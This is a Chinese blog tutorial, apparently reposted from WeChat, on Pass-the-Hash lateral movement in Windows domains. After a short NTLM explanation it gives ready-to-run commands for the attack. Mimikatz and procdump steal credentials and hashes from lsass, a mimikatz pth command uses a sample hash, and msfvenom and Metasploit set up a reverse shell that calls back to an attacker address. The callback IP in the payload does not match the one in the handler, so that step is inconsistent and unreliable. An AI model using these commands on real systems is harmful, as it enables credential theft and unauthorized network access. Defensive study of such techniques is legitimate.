2023-11-13 pwjcw
PTH(哈希传递)攻击
简介
PTH攻击是内网横向移动的一个常用手段。
原理
pth攻击是基于NTLM协议的,参考NTLM协议的认证流程,在质询阶段,服务器生成一个随机数用用户的NTLM hash进行加密,并且将随机数发给用户,用户在本地使用自己的NTLM hash进行加密,发送给服务器端,服务器端进行判断两次加密的内容是否一致,进而来认证,在域环境下通常是经过批量配置域内机器的,也就是说,每个主机的密码可能是相同的,同时也表明NTLM hash值是相同的,结合上面的NTLM认证过程,由此可见,当我们拿到一个域主机之后,通常hash 散列值无法破解出密码,但是我们可以通过NTLM hash来登入其他的主机。
条件
-
当前控制的主机处于域环境 -
目标主机与当前主机有相同的密码 -
当前控制的主机没有打KB2871997补丁,如果打了补丁,只能使用SID为500的Administrator账号
攻击过程
获取HASH
方法一(使用mimikatz获取NTLM)
首先将Mimikatz 上传到我们所控制的域内机器上面,然后通过执行下面命令来获取NTLM hash
privilege::debug
sekurlsa::logonpasswords #获取hash,这个命令甚至有可能会看到明文密码
“
mimikatz的其他用法
sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话) sekurlsa::ekeys #获取kerberos加密凭证 lsadump::sam # 获取SAM
方法二(Dump lsass进程)
将lsass.exe内存进行dump,然后再想办法进行解密
“
lsass.exe主要是在用户登入的时候,将用户输入的密码加密为NTLM hash,并且与本地的SAM文件中的NTLM hash进行比较
dump的方法不止一种,可以在任务管理器中进行内存转储
也可以下载微软的官方工具procdump进行转储
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
通过mimikatz解密
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
传递hash
方法一(使用mimikatz传递NTLM)
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:god /ntlm:c520c63db2fd0788cc4561728343add7"
#/user 对应的是该netlm的用户名
#/domain 对应的是当前域的域名
#/ntlm对应的是ntlm hash
当执行了这个命令之后,就会弹出一个新的cmd窗口,在该cmd创建上执行一些需要身份验证的操作时会携带NTLM Hash
,所以无需验证就可以直接通过,如下面通过net use
来连接域控的ipc$远程共享
方法二(使用msf传递NTLM)
先使用msf拿到靶机的shell
生成msf的windows 反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe
通过webshell将shell.exe上传到靶机上面
允许shell.exe并在kali上面执行下面操作连接shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.124.131
set lport 4444
run
原文始发于微信公众号(剑外思归客):【网络安全】内网渗透之PTH攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论